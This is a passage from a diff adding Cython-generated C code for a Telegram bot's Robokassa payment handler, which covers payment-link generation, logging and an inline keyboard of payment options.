__pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_id, __pyx_t_6) < 0) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/robokassa_pay.py":55 + * f"Generating payment link for amount: {amount}, inv_id: {inv_id}, description: {description}" + * ) + * payment_link = robokassa._payment.link.generate_by_script( # <<<<<<<<<<<<<< + * out_sum=amount, + * inv_id=inv_id, + */ + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_payment_link = __pyx_t_6; + __pyx_t_6 = 0; + + /* "handlers/payments/robokassa_pay.py":61 + * id=f"{tg_id}", + * ) + * logger.info(f"Generated payment link: {payment_link}") # <<<<<<<<<<<<<< + * return payment_link + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_v_payment_link, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Generated_payment_link, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_2}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/robokassa_pay.py":62 + * ) + * logger.info(f"Generated payment link: {payment_link}") + * return payment_link # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_INCREF(__pyx_v_payment_link); + __pyx_r = __pyx_v_payment_link; + goto __pyx_L0; + + /* "handlers/payments/robokassa_pay.py":50 + * + * + * def generate_payment_link(amount, inv_id, description, tg_id): # <<<<<<<<<<<<<< + * """ .""" + * logger.debug( + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_AddTraceback("handlers.payments.robokassa_pay.generate_payment_link", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __pyx_L0:; + __Pyx_XDECREF(__pyx_v_payment_link); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_4generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/robokassa_pay.py":65 + * + * + * @router.callback_query(F.data == "pay_robokassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_robokassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_3process_callback_pay_robokassa(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13robokassa_pay_3process_callback_pay_robokassa = {"process_callback_pay_robokassa", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13robokassa_pay_3process_callback_pay_robokassa, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_3process_callback_pay_robokassa(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[3] = {0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_robokassa (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 65, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 65, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_robokassa", 1, 3, 3, 1); __PYX_ERR(0, 65, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 65, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_robokassa", 1, 3, 3, 2); __PYX_ERR(0, 65, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_robokassa") < 0)) __PYX_ERR(0, 65, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 3)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + __pyx_v_session = values[2]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_callback_pay_robokassa", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 65, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.robokassa_pay.process_callback_pay_robokassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13robokassa_pay_2process_callback_pay_robokassa(__pyx_self, __pyx_v_callback_query, __pyx_v_state, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_2process_callback_pay_robokassa(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_callback_pay_robokassa", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 65, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13robokassa_pay_4generator, __pyx_codeobj__2, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_robokassa, __pyx_n_s_process_callback_pay_robokassa, __pyx_n_s_handlers_payments_robokassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.robokassa_pay.process_callback_pay_robokassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_4generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + Py_ssize_t __pyx_t_4; + Py_UCS4 __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + PyObject *(*__pyx_t_8)(PyObject *); + Py_ssize_t __pyx_t_9; + int __pyx_t_10; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + PyObject *__pyx_t_15 = NULL; + int __pyx_t_16; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_robokassa", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L8_resume_from_await; + case 2: goto __pyx_L10_resume_from_await; + case 3: goto __pyx_L12_resume_from_await; + case 4: goto __pyx_L13_resume_from_await; + case 5: goto __pyx_L14_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 65, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":69 + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + * ): + * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * logger.info(f"User {tg_id} initiated Robokassa payment.") + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":70 + * ): + * tg_id = callback_query.message.chat.id + * logger.info(f"User {tg_id} initiated Robokassa payment.") # <<<<<<<<<<<<<< + * + * builder = InlineKeyboardBuilder() + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u_User); + __pyx_t_4 += 5; + __Pyx_GIVEREF(__pyx_kp_u_User); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_User); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u_initiated_Robokassa_payment); + __pyx_t_4 += 29; + __Pyx_GIVEREF(__pyx_kp_u_initiated_Robokassa_payment); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u_initiated_Robokassa_payment); + __pyx_t_6 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":72 + * logger.info(f"User {tg_id} initiated Robokassa payment.") + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":73 + * + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = PyObject_Length(__pyx_t_1); if (unlikely(__pyx_t_4 == ((Py_ssize_t)-1))) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyInt_FromSsize_t(__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = PyTuple_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_int_0); + __Pyx_GIVEREF(__pyx_int_0); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_int_0)) __PYX_ERR(0, 73, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_1); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error); + __Pyx_INCREF(__pyx_int_2); + __Pyx_GIVEREF(__pyx_int_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_int_2)) __PYX_ERR(0, 73, __pyx_L1_error); + __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (likely(PyList_CheckExact(__pyx_t_1)) || PyTuple_CheckExact(__pyx_t_1)) { + __pyx_t_3 = __pyx_t_1; __Pyx_INCREF(__pyx_t_3); + __pyx_t_4 = 0; + __pyx_t_8 = NULL; + } else { + __pyx_t_4 = -1; __pyx_t_3 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 73, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + for (;;) { + if (likely(!__pyx_t_8)) { + if (likely(PyList_CheckExact(__pyx_t_3))) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_3); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 73, __pyx_L1_error) + #endif + if (__pyx_t_4 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_1 = PyList_GET_ITEM(__pyx_t_3, __pyx_t_4); __Pyx_INCREF(__pyx_t_1); __pyx_t_4++; if (unlikely((0 < 0))) __PYX_ERR(0, 73, __pyx_L1_error) + #else + __pyx_t_1 = __Pyx_PySequence_ITEM(__pyx_t_3, __pyx_t_4); __pyx_t_4++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + #endif + } else { + { + Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_3); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 73, __pyx_L1_error) + #endif + if (__pyx_t_4 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_1 = PyTuple_GET_ITEM(__pyx_t_3, __pyx_t_4); __Pyx_INCREF(__pyx_t_1); __pyx_t_4++; if (unlikely((0 < 0))) __PYX_ERR(0, 73, __pyx_L1_error) + #else + __pyx_t_1 = __Pyx_PySequence_ITEM(__pyx_t_3, __pyx_t_4); __pyx_t_4++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + #endif + } + } else { + __pyx_t_1 = __pyx_t_8(__pyx_t_3); + if (unlikely(!__pyx_t_1)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 73, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_i, __pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":74 + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + __pyx_t_1 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_9 = PyObject_Length(__pyx_t_6); if (unlikely(__pyx_t_9 == ((Py_ssize_t)-1))) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = PyInt_FromSsize_t(__pyx_t_9); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = PyObject_RichCompare(__pyx_t_1, __pyx_t_6, Py_LT); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_10 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_10 < 0))) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (__pyx_t_10) { + + /* "handlers/payments/robokassa_pay.py":75 + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + + /* "handlers/payments/robokassa_pay.py":76 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/robokassa_pay.py":77 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', 